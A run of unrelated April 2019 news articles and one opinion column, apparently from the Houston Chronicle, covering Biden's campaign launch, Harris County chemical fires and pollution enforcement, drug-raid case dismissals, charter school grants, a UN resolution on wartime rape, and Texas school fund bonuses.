Pennsylvania and Doug Jones of Alabama, and the International Association of Firefighters is expected to back him early next week. In the crucial early state of New Hampshire, a popular former governor, John Lynch, agreed to help lead Bidens campaign. I think hes right that we need to restore the soul of America, Lynch said, adding, I think somebody in the middle has a better chance of beating Donald Trump. At the same time, a number of vocal liberal activists and advocacy groups offered blunt criticism of Biden. One of the more influential groups on the insurgent left, Justice Democrats, issued a scathing statement rejecting Biden as an option in the race and describing him as a symbol of the Democratic establishment that was unable to stop Trump in 2016. The old guard of the Democratic Party failed to stop Trump, and they cant be counted on to lead the fight against his divide-and-conquer politics today, said Alexandra Rojas, the groups executive director. Biden is poised to embark on an ambitious and highly visible campaign schedule. After a fundraising event in Philadelphia on Thursday evening, Biden is scheduled to appear Friday on ABCs The View, in his first television interview as a candidate. Biden plans to visit a Pittsburgh union hall Monday to make remarks on the economy, before embarking on a multiweek tour of the early primary states and California, culminating in a May 18 speech in Philadelphia about unifying America, his campaign said. Facing intensifying scrutiny of his long record, Biden has yet to allay concerns about the most contentious aspects of his career. In recent months, he expressed remorse without quite apologizing for having supported draconian tough-on-crime measures in the 1980s and 1990s, and said he wished the Hill-Thomas hearings before the Senate Judiciary Committee had gone differently. Kate Bedingfield, a spokeswoman for Biden, said Thursday that Biden had gone somewhat further in a personal conversation with Hill, voicing his regret for what she endured and his admiration for everything she has done to change the culture around sexual harassment in this country. But Hill told The Times on Thursday that she could not support Biden, and told a reporter that he should give an apology to the other women and to the American public because of the wide-reaching social impact of the hearings. Biden is certain to have to address the issue again. Marc Morial, the president of the National Urban League, said Biden would bring a unique set of political strengths to the race, but would also need to address aspects of his record that make progressives uneasy. I think its important that Biden perhaps help people understand that, as a 40-year member of Congress, his views have evolved, said Morial, who suggested Biden might be well-equipped to make an explanation: He is one of the few guys who is probably as comfortable talking to a group of truck drivers as he is in an African American church. A number of Bidens competitors have already had months to find their footing in the race. The field includes muscular fundraisers like Sanders, Sen. Kamala Harris of California and former Rep. Beto ORourke of Texas; intriguing underdogs, like Mayor Pete Buttigieg of South Bend, Indiana; and policy-minded liberals like Sens. Elizabeth Warren of Massachusetts and Cory Booker of New Jersey, who have helped frame the race as a contest of ideas. Bidens rivals largely avoided criticizing him Thursday, but Warren and Sanders the two most aggressive populists in the race were exceptions. In an email to supporters, Sanders campaign manager, Faiz Shakir, chided Biden for ending the day in the home of a corporate lobbyist, an allusion to Bidens fundraiser in Philadelphia with a Comcast executive. And addressing reporters in Cedar Rapids, Iowa, Warren described Biden as having been on the side of credit card companies during a landmark battle over bankruptcy legislation last decade, in which Warren was on the opposing side. As the race proceeds, other Democrats are expected to take on Bidens record more bluntly, including his background as a Delaware senator loyal to the states credit card industry and his 2002 vote to authorize war in Iraq. Bidens private endeavors could also become political targets. He has earned millions of dollars through paid speeches and book deals since leaving office, and has created a network of nonprofits and academic centers that employ many of his trusted aides. He intends to shut down the most prominent of those groups, the Biden Foundation. Rival Democrats have taken encouragement from several unsteady moments in the Biden camp, including his halting response this month to a wave of stories about his physical behavior with women. And his advisers repeatedly explored and then disavowed some offbeat or daring plans, including announcing a running mate early in his campaign. Bidens candidacy is a bet, above all, that none of that will matter in comparison to voters alarm at the possibility of Trumps re-election. There are few modern examples of a man of Bidens age assuming the leadership of a Western democratic power. The precedents that exist have tended to arise from moments of military conflict or social turbulence: Georges Clemenceau becoming Frances premier during World War I at the age of 76, or Winston Churchill returning as prime minister in the 1950s, also at 76. Biden would be 78 on Inauguration Day in 2021 and it remains to be seen whether voters will view him as a similar kind of political savior or the times as equally dire. This article originally appeared in The New York Times As someone who has covered him on various occasions since the 1980s, I think Bidens biggest strength is his image of authenticity. Even when it leads to gaffes, as he said in the 2012 campaign, I always tell the truth. Well see about that. Voters will forgive a lot, if they think a candidate is sincere and willing to correct mistakes. Weve had enough phoniness in politics already. In a dramatic rescue caught on camera, several METRO bus operators hitching a ride to work in late March helped pull a man from a burning vehicle after a rollover crash on the North Freeway. The bus, driven by METRO operator Robert Bartlett, was northbound on Interstate 45 near North Loop 610 around 9:15 a.m. when a car came careening out of the far-right lane, onboard video released by METRO shows. The car then flipped on its side and caught fire. The Harris County District Attorneys office is calling for a tripling of the number of prosecutors dedicated to environmental crimes in the wake of a series of chemical plant fires that has raised public health concerns. In a letter Thursday to the county judge and commissioners court, Vivian King, the chief of staff of the district attorneys office, requested $850,000 to fund eight new positions: four prosecutors two investigators and two paralegals. The county currently has two prosecutors and one administrative assistant devoted to environmental crimes. The request is scheduled to come before the commissioners court on Tuesday. On March 17, an Intercontinental Terminals Co. tank farm in Deer Park caught fire and burned for several days, closing the Houston Ship Channel and drawing national attention. No injuries were reported. A couple of weeks later, one person was killed and two others were critically injured when the KMCO chemical plant in Crosby caught fire. A fire also broke out at Exxon Mobils Baytown refinery in mid-March but was contained hours later. The investigations are ongoing. With Arkema and ITC and all of the alleged criminal acts intentionally polluting our waters supply with cancer agents, we dont have the staff to investigate and work on these cases, King said during an interview. The DAs environmental crimes division handles 400 to 500 cases a year, the bulk of which are related to illegal dumping and water pollution perpetrated by smaller companies or individuals not the big corporations, King said. The funding proposal was previously included in the district attorneys request for $21 million for more than 100 new positions, which the commissioners court shot down in February. Harris County Judge Lina Hidalgo said Thursday afternoon that she was unaware of the request and could not comment until shed had a chance to review it. Traditionally the county has not criminally prosecuted the large petrochemical industry, King said. She stressed that the DAs office welcomes an industry thats a major source of employment and an important contributor to the areas economy. However, she added, as public servants we get a lot of complaints about the very few companies that commit criminal acts by intentionally not following laws and regulations governing hazardous waste and chemical emissions and putting cancer agents in our water supply and the air we breath. And they currently dont have the staff to handle it all, even less so to take on the big cases. A private attorney is working pro bono on a case involving Arkema. Under District Attorney Kim Ogg, a Democrat, prosecutors have taken a more aggressive posture toward pollution amid rising public concerns about industrial incidents. At a town hall meeting Wednesday night, those who live near the ITC plant demanded answers about a fire and explosions that emitted toxins into the air and contaminated nearby waterways. Alexander Forrest, appointed by Ogg in 2017 to lead the Environmental Crimes Division, told attendees that current financial penalties for environmental violation are too low. I speak as a citizen to you, he said, we need more teeth on our environmental code. He also encouraged residents to reach out to state lawmakers to empower local authorities. Arkema and its vice president of logistics face felony assault charges for allegedly misrepresenting what was known about an industrial disaster at its Crosby plant during Hurricane Harvey in 2007, leading to the injury of two deputy sheriffs. Among the other cases: Indictments for water-pollution and hazardous-waste violations were issued for Wright Containers, LLC, its owner Ronald Wright, and its manager, Gregory Hance. If convicted, Wright and Hance face up to 10 years in jail and up to a $250,000 fine for the company. Arkema, Inc., CEO Richard Rowe, and plant manager Leslie Comardelle were charged with the felony offense of endangerment from a chemical release. If convicted, the executive and plant manager face up to five years in prison while the company could be fined as much as $250,000. Attorneys for Arkema and the executives have denied the charges, calling them an example of prosecutorial overreach. Harris County prosecutors are doubling down on an unprecedented and outrageous attempt to criminalize a natural disaster, Rusty Hardin, an attorney for Arkema, said after the felony assault charges were brought. This is a political prosecution in search of a theory. Beyond these cases, King stressed that there are hundreds of other filings where there wasnt known exposure or health impact. If the funds are approved, the environmental crimes division would be broken into three arms: investigatory, pretrial and trial. The team would include two chief prosecutors who will work closely with an assigned investigator to build intelligence in known hot spots for pollution, work with whistle blowers and help direct and build sophisticated intelligence-based investigations on companies and their owners who carry out environmental schemes. Environmental crimes are a new area of criminal law, King said, and they are trying to understand how to prosecute properly. perla.trevizo@chron.com Harris County prosecutors sought dismissal Friday of more than two dozen criminal cases amid concerns about the credibility of two former Houston narcotics officers entangled in a botched drug raid. The officers, Gerald Goines and Steven Bryant, remain under investigation after allegations they lied about the circumstances of the Jan. 28 drug raid that left a Houston couple dead and five officers injured. Truthfulness is essential in a case that must be proved beyond a reasonable doubt, Harris County District Attorney Kim Ogg said Friday in announcing the dismissals. We cant vouch for these officers credibility. The raid devolved into a gunbattle after police burst into the residence at 7815 Harding St. looking for heroin. Homeowners Dennis Tuttle and his wife, Rhogena Nicholas, were killed and five officers were injured, but investigators found only a small amount of marijuana and cocaine. Family members and neighbors said the couple were not drug dealers. The dismissals the latest blow to the Houston Police Departments narcotics division are the clearest indication yet that investigators have serious concerns about the officers handling of cases. Prosecutors had dropped five other cases in the weeks prior to the announcement Friday that another 27 cases were being dismissed. Goines and Bryant were relieved of duty in the weeks after the raid and both have since retired. Goines has been accused of lying to obtain a search warrant for the home; Bryants handling of the case is also under investigation. Police Chief Art Acevedo praised the move, even as a top union official called it premature. An attorney for one of the officers discounted the severity of the dismissals, noting that Goines could not be called as a witness while being investigated. We at the Houston Police Department, our men and women the vast majority are absolute professionals, Acevedo said. We wanted this action taken in the interest of justice and to help continue to build trust with our community. And for those might have been guilty of the crime they were accused of, I hope they use this opportunity to turn their lives around. And those who dont, we will hold them accountable at another date. The raid remains under investigation by Houston police, the DAs office, and the FBI. Prosecutors are also reviewing more than 2,200 past cases that Goines and Bryant worked on. Police corruption erodes public trust and through methodical, deliberate and independent investigation, we will get to the truth, Ogg said. Defendants overjoyed Nakeisha Simon gasped after learning the charges against her had been dropped. Oh, thank God, she said. Im literally in tears right now. Oh, man. Simon was arrested in late November. Police swarmed her car moments after she pulled into her driveway, then broke down the door to her home. The search warrant said a confidential informant tipped police that she was selling marijuana. When officers failed to find marijuana, they charged her with possession of hydrocodone with intent to distribute, according to court records. Simon said the drugs belonged to her now ex-boyfriend, who lived at the home and had a prescription for the medications. When theres something as egregious as weve seen from this officer, I have a lot of respect for the district attorney to dismiss all those cases, to avoid any innocent people being taken down by police misconduct, said Larrisha Jackson, Simons attorney. Craig Powell, another defendant, was arrested by Goines in September after the officer said he used a confidential informant to buy crack cocaine from him. On the search warrant return, Goines listed seizing hydrocodone tablets, marijuana, muscle relaxants, and Xanax. Powell was charged with possession of a controlled substance with intent to distribute. On Friday, Powell said he was overjoyed the charges had been dismissed and pushed back on Goines accusation he was a crack dealer. He said hes trying to start a soul food catering business. If you went in my neighborhood and said my name and said I did that theyre going to let you know, there aint no truth to none of that, he said. Have you seen my record? I have a murder and four pistol cases, he said. I havent sold cocaine since 2009. If I caught a dope case, they would send me to the penitentiary, away from my family and away from my wife. Im not willing to jeopardize my freedom for that. Court records show a 1998 murder charge, three weapons violations and several marijuana and other drug charges. Until the arrest last year by Goines, he had not been arrested since 2015. Attorneys for other defendants said they were grateful for Oggs actions Friday. Thats wonderful, said Norm Silverman, an attorney for two defendants whose cases are now set for dismissal. And Im hoping they maintain the same perspective when they go back and analyze the old cases. Significant harms Doug Griffith, vice president of the Houston Police Officers Union, said Ogg should wait to dismiss cases until the investigation into Goines and Bryant concluded. Shes saying (Goines) is guilty and nothing has been presented to her yet in regards to criminal activity or untruthfulness, Griffith said. If hes done something wrong, there are laws in place to deal with that and I fully expect this DA to go heavy on it. Griffith said the union wants a full and complete investigation. I just want to truth to come out, good, bad or indifferent, Griffith said. So we can fix anything that is wrong, clean up anything that needs to be, and move forward in order to maintain the public trust. Nicole DeBorde, Gerald Goines attorney, said any conclusions about the dismissals would be overblown. Heres the reality: hes under investigation, and while any officer is under investigation, he cant testify, she said. I think everyone wants to read some sort of belief about him as a person, or what his character by this dismissal, but really those two things have nothing to do with each other. Craig B. Futterman, a University of Chicago law professor, said the dismissals were entirely appropriate and could signal coming indictments against the two officers. A good and ethical prosecutor cannot rely on the word of a known liar, he said. He said the case highlights the significant harms that arise when a police department allows unchecked abuse by failing to address officers who have been engaged in a pattern of abusive or dishonest behavior. Theres very little that is worse than putting an innocent person in jail or prison for something they didnt do, he said. The harm to the family, loss of a father, daughter or son. The harm just accumulates. Reporters Gabrielle Banks and James Pinkerton contributed to this report. st.john.smith@chron.com keri.blakinger@chron.com Three charter school organizations with deep Texas roots received about $218 million in federal grants, a portion of which will help them add campuses in the Houston area. IDEA Public Schools, the KIPP charter school network and Responsive Education Solutions, which combine to educate nearly 82,000 children in Texas, were awarded five-year grants through the U.S. Department of Educations Charter Schools Program, one of the largest federal supports for charter expansion. The grants to IDEA Public Schools, based in the Rio Grande Valley, and the national KIPP Foundation, which partners with its Texas-based affiliate, are the two largest awards in the programs history. In all, the U.S. Department of Education awarded about $300 million in grants to expand long-running, high-performing charter operators throughout the country, the agencys most significant investment to date. The grants come as Education Secretary Betsy DeVos and charter school advocates push for greater financial support, while charter critics argue the publicly-funded, privately-operated networks drain money from traditional school districts and lack accountability to voters. This is the biggest amount (the U.S. Department of Education) has ever done for new-school startup, and thats a really big deal, said Mark Larson, KIPP Texas chief advancement and external affairs officer. Itll help us reach more students sooner and sooner. IDEA Public Schools will receive about $116.8 million to expand in Texas and the southeastern U.S., with an estimated $9 million dedicated to the networks first foray into the Houston area. The KIPP Foundation won an $86.3 million grant to spread around its 29 regions, with an undetermined amount landing in Texas. Responsive Education Solutions, the smallest of the three networks, was awarded about $15 million, aiming to grow or open three campuses in the Houston region. The grant will boost IDEA Public Schools as it seeks to open 20 schools over a six-year period in the Greater Houston area. The high-performing districts expansion will offer more opportunities for families in areas with few charter options and chronically lower-performing campuses, though many opponents of charters are fearful about their financial impact on traditional school districts. The decision to come here was really based on the fact that theres tremendous need, said Allison Serafin, IDEA Public Schools executive director of the Greater Houston area. We still have critical masses of families in the Greater Houston area that only have access to low-performing schools. Serafin said the $9 million in grant funding will assist the organization in opening its first six schools, providing funding to hire staff, offer training opportunities and engage with prospective families. Four schools are expected to open at two sites in 2020 near the Hardy Toll Road along the border of Aldine and Houston ISDs, and northwest of the Interstate 45 and Sam Houston Tollway in Spring ISD with two more campuses at a third site to follow. Each location will contain an elementary and secondary school, offering pre-kindergarten through 12th grade. IDEA Public Schools primarily serves lower-income and Hispanic students in the Austin, Rio Grande Valley and San Antonio regions. The districts academic results rank among the most impressive in Texas, routinely boasting that all graduates gain admission to college. Skeptics of IDEA Public Schools outcomes question the districts enrollment tactics, suggesting the network does not attract or retain students with greater academic and behavioral challenges. Officials at KIPP Texas, which operates about 50 schools in the Austin, Dallas-Fort Worth, Houston and San Antonio regions, said they are unsure how much of the national foundations $86.3 million grant will trickle into the Lone Star State. The network runs 31 schools in the Greater Houston area, where the first KIPP campus was founded, with plans to add another high school in the Greater East End in 2020. KIPP Texas also is eyeing El Paso for expansion, according to its grant application, though Larson said no plans have been finalized. Well grow as fast as we can and as slow as we must, Larson said. That has to do with real estate availability, with talent, with what waitlists look like in different cities. Responsive Education Solutions, which boasts about 70 campuses and 16,400 students scattered across Texas, plans to use part of its $15 million grant to open new schools on Houstons north and southwest sides, as well as boost enrollment at its Fallbrook Academy in northern Harris County. We planned on opening those two regardless, but this is certainly going to help our efforts in providing those kids exactly what they need to succeed, said Billy Rudolph, Responsive Education Solutions director of communications. The multimillion-dollar grants likely will represent a tiny fraction of the charter schools total revenues. For example, IDEA Public Schools, which will receive an average of $23 million per year during the grant cycle, generated $422.5 million in revenues in fiscal 2018. Prior to this years grants, federal officials awarded $130.5 million to the KIPP Foundation and $108.4 million to IDEA Public Schools through the Charter Schools Program over the past decade. jacob.carpenter@chron.com twitter.com/chronjacob The hulking ISIS soldier seemed more monster than man, stinking of rotten eggs and heavy cologne, when he arrived to choose the Yazidi woman who would be his "sabaya," or sex slave. Desperate to escape his groping hands, Nadia Murad flung herself at the feet of another Islamic State extremist that day in 2014. The second man was slight in stature. She thought with him she might survive being raped and whipped. As it happened, he was of a higher rank than the larger man, and he took possession of her. She did survive, and she escaped her enslavement after three months. Four years later, Murad accepted the Nobel Peace Prize for her bravery, for her insistence on drawing the world's focus to rape and sexual assault as a tool of war. You might think that surely the United States, with our hyper focus on #MeToo, would be among the leading nations in efforts to hold ISIS accountable for what it did to Murad and thousands of other Yazidi women and girls from Northern Iraq. You would be wrong. In 2019, the Republican Party, desperate to defend its hold on the White House, has other priorities. Any policy proposal that even tangentially perturbs anti-abortion activists is off the table. And that's why the Trump administration threatened to veto a United Nations resolution that addresses rape as an act of war. Murad was present this week (April 23) when the UN Security Council was forced to bend to the wishes of the Trump administration. The U.S. insisted on gutting a resolution intended to encourage adequate care of survivors like Murad, to treat their trauma and see to their medical needs. The resolution urged United Nations entities and donors "to provide non-discriminatory and comprehensive health services, including sexual and reproductive health, psychosocial, legal, and livelihood support and other multi-sectoral services for survivors of sexual violence, taking into account the specific needs of persons with disabilities." Through the ideological prism of the religious right in America, this passage can be distilled to one word: abortion. And therefore the U.S. delegation demanded that the entire passage be stricken -- not merely altered -- or else it would veto the resolution. Our closest allies were furious. China and Russia, it should be noted, merely abstained from voting, for other reasons. The final resolution as adopted was so altered that it rolled back even what the U.S. had previously supported back in a 2013 resolution. One can readily imagine how President Trump and Vice President Pence will crow about this on the campaign trail -- about how they upheld the virtue of women and the sanctity of life. They won't tell their supporters that they were perfectly willing to scuttle this very necessary resolution against rape as a tool of war. Indeed, their gutless and despicable maneuver is reason to wonder how much they care about sexual violence against women in the first place. For centuries, rape, torture and sexual violence have been a central tactic of war. It is a tool to terrorize civilian populations. Men and boys can be targeted for sexual violence during conflicts, but women, given their subordinate status in so many cultures, have always been the most brutalized. Raped, some of them will become pregnant. Some of those victims will gain access to an abortion -- in what may be a grave matter of psychological health for them, not to mention a matter of life or death. Your moral qualms about that decision are of diminishingly small importance to the victim. It is morally questionable, at best, to let "pro-life" moralizing stall hard-won progress in fighting sexual war crimes that prolong conflicts and derail peace-keeping efforts. And yet that's what the Trump administration was willing to do. Rapes are war crimes. Survivors need to be cared for by aid agencies, and perpetrators must be punished by international tribunals. Murad was 19 when ISIS targeted her people for genocide. The men of her village were slaughtered. Her mother, six brothers and their children were all killed. She's told of how the captured Yazidi women and girls desperately cried and vomited as ISIS soldiers looked them over, grabbing the prettier girls first, asking who was a virgin. Living in our bubble of peace and prosperity, most Americans feel sympathy for victims of militarized rape, but some of us don't quite understand what's at stake. Our policies, our politics affect people far outside of our borders. Too often, we just don't think about their needs or about what we can do to prevent the next episode from creating more victims. Here is the desperate truth that Murad emphasized to the U.N. special council: "Not a single person has been charged for sexual slavery." (Readers can reach Mary Sanchez at msanchezcolumn@gmail.com and follow her on Twitter @msanchezcolumn.) (c) 2019, MARY SANCHEZ DISTRIBUTED BY TRIBUNE CONTENT AGENCY, LLC Almost two months before a massive chemical fire erupted in Deer Park, sending a dark plume of smoke over much of Harris County, Precinct 2 Commissioner Adrian Garcia asked the head of the countys Pollution Control Services Department what additional resources he needed. County officials were nearing the end of a third day of annual budget hearings and Garcia was concerned the department lacked the manpower and equipment to properly monitor air quality in his eastern precinct, let alone the entire county. So, he asked Director Bob Allen for a wish list. Nobodys ever asked me that before, Allen replied at the Jan. 11 hearing in the Commissioners Court chambers. He said the department could use additional air monitors especially mobile ones and noted Pollution Control had fewer employees than in the 1990s. Garcia last week said he was struck by Allens deer-in-the-headlights look. He wondered why previous Commissioners Courts had not pressed Allen for more details, and why he appeared unprepared to outline an ambitious vision for Pollution Control. In the end, the court in February approved a 28 percent budget increase for the small department, giving Allen an additional $1.2 million. The department inspects facilities and enforces state and local air, water, solid waste and storm water regulations. The investment made little difference four weeks later when a storage tank farm at Intercontinental Terminals Co. ignited on March 17, burned for more than 60 hours and sent Harris County emergency responders scrambling to monitor pollution and keep the public informed of dangers. The ITC fire, followed by a fatal explosion and blaze at the KMCO plant in Crosby two weeks later, tested the capabilities of several county departments and spurred the longest activation of the emergency operations center since Hurricane Harvey. County leaders said Pollution Control, however, was uniquely unprepared for the fires. Department staff were unable to quickly test air quality and report results to the public, forcing the county to hire outside consultants and design a website from scratch. Garcia said he lost faith in Allens leadership. Unlike the city of Houston and federal Environmental Protection Agency, Harris County had no mobile air monitoring vehicle especially useful in emergencies. Five of the countys 12 ozone monitors were broken, and Pollution Controls fast-response team consisted of four members. We do not have the staff to sustain a response to the scale of ITC, said Craig Hill, field manager for Pollution Control. He estimated the conflagration which required the assistance of Louisiana firefighters to extinguish was the largest the department had ever encountered. More Information Texas counties, by law, do not have the authority to fight fires or take over operations at private facilities during emergencies, but Harris County departments play several roles responding to incidents. The fire marshal's office investigates the cause of fires and what prevention efforts firms should have made. Pollution Control Services inspects facilities and enforces state and local air, water, solid waste and storm water regulations. Both departments can refer cases to the county attorney, for civil penalties; or the district attorney, for criminal prosecutions. The Texas Commission on Environmental Quality and federal Environmental Protection Agency also monitor air and water pollution during chemical spills and fires. The TCEQ can refer cases to the Texas Attorney General's office for enforcement actions. See More Collapse The ITC fire was the first major emergency for Harris County Judge Lina Hidalgo, who said the incident exposed significant gaps in the countys capabilities. Hidalgo said residents shared concerns about daily air pollution, let alone from chemical fires, at a February town hall in Pasadena. She said county government in the past has taken a too-lax approach to potential disasters at industrial sites along the Houston Ship Channel. Were not just going to hope that this doesnt happen again, she said. Were going to do a thorough analysis and share the results, and do that quickly. Advocacy groups were alarmed at the countys lack of preparedness. Elena Craft, an air quality expert with the Environmental Defense Fund, said Harris County should have the best-equipped pollution monitoring system in the country. I dont think they were able to respond as quickly as the situation warranted, and I think that was due in part to a lack of resources, lack of technology, lack of people on the ground, Craft said. The environmental group emailed and called Pollution Control on March 21, offering the use of its mobile air monitor, but received no response, Craft said. The following day, the ITC fire re-ignited and burned for about an hour, raising new pollution concerns. Totally unacceptable Harris County activated its emergency operations center hours after the ITC fire began that Sunday. As the blaze spread to nearby storage tanks and belched thick smoke into the air, and firefighters were unable to estimate when it could be brought under control, county leaders grew concerned existing staff and resources would be inadequate. Garcia said Allen initially estimated Pollution Control could report air quality test results in, perhaps, two days. The commissioner, who visited the ITC site Sunday and spoke with anxious residents, was stunned. That was totally unacceptable, Garcia said. The frustrating part was it was coming with a tone of no big deal, no sense of urgency. By Monday, the dark plume had spread over Harris and adjacent counties. Schools near the Ship Channel closed and residents from Seabrook to Cypress were fearful of spending much time outdoors, as they wondered what pollutants were in the air. Harris County was unable to provide immediate answers. The Pollution Control fast response team began monitoring air quality on Sunday, though the department lacked the ability to report results in real time. Hidalgo said she was concerned no website existed that could report minute-by-minute air quality readings from local, state and federal sources. At a briefing midday Monday, after many support staff had spent the night in the OEM building, Hidalgos team decided to build one on the spot. Over the next eight hours, an ad hoc group of county employees designed a website, while scientists decided how to best present the data in a color-coded system. The page first published readings Tuesday morning, and it remains in place for future pollution events. Hidalgo said she also was uncomfortable relying heavily on air testing performed by ITC, and said the countys monitoring system was inadequate. She directed the county health department to hire 11 private contractors, at a cost of $375,000, to help with air monitoring. The county plans to add that sum to an invoice billing ITC for Harris Countys entire response to the fire, which also included the fire marshals office, health department and law enforcement agencies. A rough estimate by the county budget office tallies about 16,800 hours of labor to date, at a cost of $800,000, plus services, materials and supplies totaling $1.1 million. Thirty-seven local, state and federal agencies with 335 staff members worked out of the Office of Emergency Management, OEM said, rivaling the response to Harvey. Garcia said he was pleased by the countys improvised response to the ITC blaze, and the KMCO explosion and blaze. He said, however, a lack of planning made the emergencies far more difficult to manage than they should have been. You cannot be at the helm of the largest county in Texas, knowing that you house the petrochemical capital of the nation, and not sit there and contemplate the worst possible thing that you hope wont happen, but could, he said. Allen announced his retirement April 4, which Commissioners Court plans to accept on Tuesday. He said at 67, he had been planning to step down and said the timing is unrelated to the chemical fires. The court already has taken steps toward reform after the two blazes. Members authorized the county attorney to file lawsuits against ITC and KMCO and ordered departments to complete an analysis of their emergency response needs within 45 days. Missed opportunities Much as the Harris County Flood Control District acknowledged the consequences of decades of underinvestment after Harvey, Pollution Control and other county departments face a similar reckoning. Allen, who joined the department in the 1970s, recalled how around 10 percent of his colleagues were laid off during Great Recession belt-tightening by the county. They never were replaced. Even as the county population has nearly doubled in the past three decades, spurred in part by the growth of the petrochemical industry along the Houston Ship Channel, investment in Pollution Control has not kept pace. Compared to 2009, when Pollution Control was a division of the health department, this fiscal years budget for the now-standalone department is 2 percent higher. The department currently has 45 employees, one more than in 2012 when it split from Public Health. As the county seeks to expand pollution monitoring and considers a more aggressive stance toward firms that break emissions rules, Allen said Pollution Control would need a significant boost in funding. He said he was excited by Hidalgos vision to improve the countys pollution monitoring capabilities. When you have a supportive court, things happen, Allen said. Precinct 3 Commissioner Steve Radack said in March that executives of polluting firms should be prosecuted. Radack, the longest-serving member, helped create environmental crimes divisions in county constables offices and said he relied on Allen to request necessary staff and equipment for Pollution Control. If he wasnt getting what he needed, he sure as hell didnt tell me about it, Radack said. Allen said he believes Pollution Control has the budget necessary to carry out its narrow mission: to monitor air and water quality in the county and cite firms who violate emissions standards. The department issued 625 violation notices in 2018, Allen said at the budget hearing, and refers about 5 percent of cases to the county or district attorney for more serious action. Meanwhile, Harris County District Attorney Kim Ogg has asked Commissioners Court to approve four new prosecutors and four support staff to prosecute environmental crimes, which members will consider on Tuesday. Pollution Control investigators have yet to complete their emissions probe of the ITC and KMCO fires. Reporter Perla Trevizo contributed to this story. Zach Despart covers Harris County for the Chronicle. You can follow him on Twitter or email him at zach.despart@chron.com . AUSTIN John Rusty Martin, the chief investment officer of a $10-billion chunk of Texas public school endowment, earned a $276,000 performance bonus in 2018 enough to cover the salaries of five full-time teachers. Holland Timmins, the chief investment officer for the remaining $34 billion of the Texas Permanent School Fund, did even better. With a raise and a $297,000 bonus awarded last year, Timmins is paid more than 10 times the salary of the 2018 Texas Teacher of the Year. Six-figure performance bonuses are not at all unusual in the endowment world. But the 165-year-old school fund, the largest education endowment in the nation, awards them in an unusual way one that experts say is not an industry best practice. The school fund bases bonuses on the funds gross return without factoring in how much it pays in fees to outside fund managers, a Houston Chronicle investigation found. It is the net return the amount the endowment earns after accounting for fees that is the critical number for Texas schools, which rely on the $44 billion endowment to help pay for textbooks and other expenses. The result: Employees of the two agencies who manage the endowment were awarded more than $14 million in performance bonuses over the past five years, despite net returns that lagged behind the national average for similar funds, records show. Gross, or net? Bonuses are not unusual for major Texas investment funds. But other big funds base bonuses on net fund returns - those calculated after factoring in fees. Experts say that gives employees a personal, financial incentive to keep costs down. The Permanent School Fund, however, awards bonuses without regard to the cut of profits claimed by fund managers. Its returns have lagged behind the national average of endowments greater than $1 billion and other major Texas funds. Employees Retirement System Worth: $28.5 billion Bonuses awarded in the last five years: $20 million Bonus recipients in 2018: 76 Based on gross or net? Net Five-year return on investment: 8.15 percent, net of fees. The Teacher Retirement System Worth: $154.1 billion Bonuses awarded in the last five years: $39 million Bonus recipients in 2018: 146 Based on gross or net? Net Five-year return on investment: 8.8 percent, net of fees. Permanent School Fund State Board of Education portfolio Worth: $34 billion Bonuses awarded in the last five years: $12.5 million Bonus recipients in 2018: 48 Based on gross or net? Gross Five-year return on investment: 7.45 percent, net of fees. Permanent School Fund School Land Board portfolio Worth: $10 billion Bonuses awarded in the last five years: $1.67 million Bonus recipients in 2018: 5 Based on gross or net? Gross Five-year return on investment: 6.5 percent, net of fees. Sources: Annual reports, quarterly reports and State Auditor's Office reports See More Collapse Bonus pay for one group of school fund investment managers have more than doubled since 2014, even as teachers across the state begged lawmakers for raises. BROKEN TRUST: Huge school endowment pays less and less Other major Texas investment funds including the Teacher Retirement System of Texas and the Employee Retirement System base employee bonuses on net returns, records show. Each of those funds had higher five-year net returns than the school fund. Using net returns to calculate bonuses is a common practice that incentivizes employees to cut costs, said Praveen Kumar, chair of the University of Houstons finance department. Compensation should be in line with what investors actually get, Kumar said. And that is not gross; its net. In a yearlong investigation, the Chronicle found that Texas schools received less annually from the endowment during the past decade, in real dollars, than they did in the two decades prior. The fund has lost out on billions in revenue because of anemic returns, skyrocketing fees and large cash holdings, the newspaper found. Worried about turnover The fund is controlled by two separate boards that have sparred in recent years over which gets the best return and how money should be distributed to the schools. The boards are supported by different agencies, the Texas Education Agency and the General Land Office. That has led to duplication; the endowment paid six-figure salaries and bonuses for two chief investment officers and other employees at the two agencies with overlapping job descriptions, records show. For subscribers: Senators blast Texas officials over dwindling school fund payments The TEA awarded 48 staff members more than $3.8 million in performance bonuses during fiscal year 2018, according to records acquired through a public information act request. That includes the $297,000 bonus for the funds chief investment officer, Timmins, whose base salary is more than $384,000 a year. The Texas General Land Office, which manages the remaining $10 billion of the portfolio for the School Land Board, paid five staff members a total of $478,500 in bonuses in 2018. The boards Chief Investment Officer, Martin, who has worked for the state for 26 years, was awarded a bonus of $276,000 in 2018 the same amount as his base salary, records show. The agencies have different incentive compensation plans tailored to the performance of their own portions of the endowment. Timmins said the bonus structure, in place since 2008, has helped to offset lower pay at the TEA compared with other state agencies. Base salaries have not always been competitive with the rest of the state, he said. The Chronicle requested documentation to support that assertion but the TEA has not yet provided it. The Chronicle asked Timmins if he was afraid of losing staff if the TEA switched to a net instead of gross incentive structure for the school fund. Yes, he said. That is a concern, he said. I will leave it at that. Tom Maynard, chairman of the State Board of Educations endowment subcommittee, which is supported by TEA staff, said he disagrees with awarding bonuses based on gross performance. There should be an incentive to negotiate the best fees possible, Maynard said. For years, the TEA did not track the full amount of fees charged by outside fund managers for some of its investments, including private equity, Timmins said last fall. In public records responses, the education board reported $74.6 million in fees in 2018. However, when state lawmakers pressed Timmins at a recent hearing, he put that 2018 number at $270 million. Staffers have not explained the discrepancy in response to questions from the Chronicle. STRIKING IT RICH: Money managers get more, children get less Maynard said the board does not have the authority to set TEA employee compensation or dictate the performance incentive plan terms. Those decisions rest with the Commissioner of Education, Mike Morath, an appointee of the governor. We have no say over compensation, Maynard said of the board. However, it is my understanding that this is being addressed. The commissioner shares the same concerns. In order to earn bonuses, TEA staff must beat benchmarks set by the board for the group of assets they manage, for the fund overall, or a combination of both. Benchmarks listed in the TEAs incentive plan include indexes that are net of fees returns after all fees and expenses. But TEAs bonuses are based on its gross returns without factoring in the millions in fees claimed by outside fund managers, records show. TEA staff did not respond to repeated questions about its benchmarking. If the TEA really does compare gross returns to net benchmarks, that would be comparing apple-to-oranges in a way that systematically tips the scales towards out-performance, said Ted Barac, a portfolio manager at Barac Capital in Austin. The funds net return over the past five years was 7.45 percent lagging behind the 8.2 percent average return of endowments over $1 billion, according to a national survey of higher education endowments. During that time, the amount of bonuses awarded to TEA staff for the funds performance increased by more than 240 percent 